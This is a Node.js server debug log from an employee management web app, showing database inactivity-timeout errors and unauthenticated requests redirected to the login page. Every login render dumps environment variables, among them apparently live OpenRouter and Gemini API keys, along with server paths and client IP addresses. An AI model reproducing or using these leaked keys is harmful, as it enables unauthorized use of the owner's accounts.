    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-09 19:40:15' as DATETIME)"
}
2026-04-09T20:36:37.309Z server-connect:router Serving templateView /
2026-04-09T20:36:37.311Z server-connect:app Executing action step identify
2026-04-09T20:36:37.311Z server-connect:app options: { provider: 'security' }
2026-04-09T20:36:37.311Z server-connect:auth No login cookie found
2026-04-09T20:36:37.311Z server-connect:output identity: false
2026-04-09T20:36:37.311Z server-connect:app Executing action step restrict
2026-04-09T20:36:37.311Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-09T20:36:37.312Z server-connect:output restrict: undefined
2026-04-09T20:36:37.471Z server-connect:router Serving templateView /login
2026-04-09T20:36:37.471Z server-connect:app Executing action step identify
2026-04-09T20:36:37.471Z server-connect:app options: { provider: 'security' }
2026-04-09T20:36:37.472Z server-connect:auth No login cookie found
2026-04-09T20:36:37.472Z server-connect:output identity: false
2026-04-09T20:36:37.472Z server-connect:router Render template layouts/authentication
2026-04-09T20:36:37.472Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '45.92.86.181',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-10T20:36:37.471Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '45.92.86.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '45.92.86.181',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-09T21:26:19.698Z server-connect:router Serving templateView /
2026-04-09T21:26:19.698Z server-connect:app Executing action step identify
2026-04-09T21:26:19.698Z server-connect:app options: { provider: 'security' }
2026-04-09T21:26:19.698Z server-connect:auth No login cookie found
2026-04-09T21:26:19.698Z server-connect:output identity: false
2026-04-09T21:26:19.698Z server-connect:app Executing action step restrict
2026-04-09T21:26:19.698Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-09T21:26:19.699Z server-connect:output restrict: undefined
2026-04-09T21:26:19.841Z server-connect:router Serving templateView /login
2026-04-09T21:26:19.841Z server-connect:app Executing action step identify
2026-04-09T21:26:19.841Z server-connect:app options: { provider: 'security' }
2026-04-09T21:26:19.841Z server-connect:auth No login cookie found
2026-04-09T21:26:19.841Z server-connect:output identity: false
2026-04-09T21:26:19.841Z server-connect:router Render template layouts/authentication
2026-04-09T21:26:19.841Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '45.92.86.213',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-10T21:26:19.840Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '45.92.86.213',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '45.92.86.213',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-09 23:50:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-09 23:50:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-10 00:14:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-10 00:14:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-10 00:35:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-10 00:35:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-10 00:58:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-10 00:58:16' as DATETIME)"
}
2026-04-10T02:23:12.533Z server-connect:router Serving templateView /
2026-04-10T02:23:12.534Z server-connect:app Executing action step identify
2026-04-10T02:23:12.534Z server-connect:app options: { provider: 'security' }
2026-04-10T02:23:12.534Z server-connect:auth No login cookie found
2026-04-10T02:23:12.534Z server-connect:output identity: false
2026-04-10T02:23:12.534Z server-connect:app Executing action step restrict
2026-04-10T02:23:12.534Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-10T02:23:12.535Z server-connect:output restrict: undefined
2026-04-10T02:23:12.649Z server-connect:router Serving templateView /login
2026-04-10T02:23:12.649Z server-connect:app Executing action step identify
2026-04-10T02:23:12.649Z server-connect:app options: { provider: 'security' }
2026-04-10T02:23:12.650Z server-connect:auth No login cookie found
2026-04-10T02:23:12.650Z server-connect:output identity: false
2026-04-10T02:23:12.650Z server-connect:router Render template layouts/authentication
2026-04-10T02:23:12.650Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.4.250.242',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-11T02:23:12.649Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.4.250.242',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.4.250.242',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-10T02:23:12.721Z server-connect:router Serving templateView /
2026-04-10T02:23:12.721Z server-connect:app Executing action step identify
2026-04-10T02:23:12.721Z server-connect:app options: { provider: 'security' }
2026-04-10T02:23:12.722Z server-connect:auth No login cookie found
2026-04-10T02:23:12.722Z server-connect:output identity: false
2026-04-10T02:23:12.722Z server-connect:app Executing action step restrict
2026-04-10T02:23:12.722Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-10T02:23:12.722Z server-connect:output restrict: undefined
2026-04-10T02:23:12.847Z server-connect:router Serving templateView /login
2026-04-10T02:23:12.848Z server-connect:app Executing action step identify
2026-04-10T02:23:12.848Z server-connect:app options: { provider: 'security' }
2026-04-10T02:23:12.848Z server-connect:auth No login cookie found
2026-04-10T02:23:12.848Z server-connect:output identity: false
2026-04-10T02:23:12.848Z server-connect:router Render template layouts/authentication
2026-04-10T02:23:12.848Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.252.191.238',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-11T02:23:12.847Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.252.191.238',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.252.191.238',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-10T02:23:13.358Z server-connect:router Serving templateView /
2026-04-10T02:23:13.358Z server-connect:app Executing action step identify
2026-04-10T02:23:13.358Z server-connect:app options: { provider: 'security' }
2026-04-10T02:23:13.358Z server-connect:auth No login cookie found
2026-04-10T02:23:13.358Z server-connect:output identity: false
2026-04-10T02:23:13.358Z server-connect:app Executing action step restrict
2026-04-10T02:23:13.358Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-10T02:23:13.359Z server-connect:output restrict: undefined
2026-04-10T02:23:13.697Z server-connect:router Serving templateView /login
2026-04-10T02:23:13.698Z server-connect:app Executing action step identify
2026-04-10T02:23:13.698Z server-connect:app options: { provider: 'security' }
2026-04-10T02:23:13.698Z server-connect:auth No login cookie found
2026-04-10T02:23:13.698Z server-connect:output identity: false
2026-04-10T02:23:13.698Z server-connect:router Render template layouts/authentication
2026-04-10T02:23:13.698Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.252.191.238',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-11T02:23:13.697Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.252.191.238',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.252.191.238',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
